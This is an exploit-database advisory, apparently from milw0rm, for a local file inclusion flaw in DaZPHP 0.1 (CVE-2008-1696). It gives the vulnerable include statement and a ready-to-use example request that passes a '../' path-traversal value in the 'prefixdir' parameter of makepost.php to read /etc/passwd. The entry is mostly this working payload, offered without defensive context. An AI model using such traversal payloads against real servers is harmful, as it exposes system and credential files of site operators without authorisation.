DaZPHP 0.1 - 'prefixdir' Local File Inclusion
| EKU-ID: 13290 | CVE: OSVDB-43998;CVE-2008-1696 | OSVDB-ID: |
| Author: w0cker | Published: 2008-04-02 | Verified:
 |
| Download: | ||
Rating☆☆☆☆☆ |
| EKU-ID: 13290 | CVE: OSVDB-43998;CVE-2008-1696 | OSVDB-ID: |
| Author: w0cker | Published: 2008-04-02 | Verified:
|
| Download: | ||
Rating☆☆☆☆☆ |
Script Name : DaZPHP Download : http://sourceforge.net/project/showfiles.php?group_id=132192 Vul Code[Example] : http://[site]/[Path]/makepost.php?prefixdir=../../../../../../etc/passwd Error : include "./".$prefixdir."/DaZPHPNews-0.1-1/makepost.php"; Greetz : Kezzap66345 - Str0ke - Dread 35 # milw0rm.com [2008-04-02]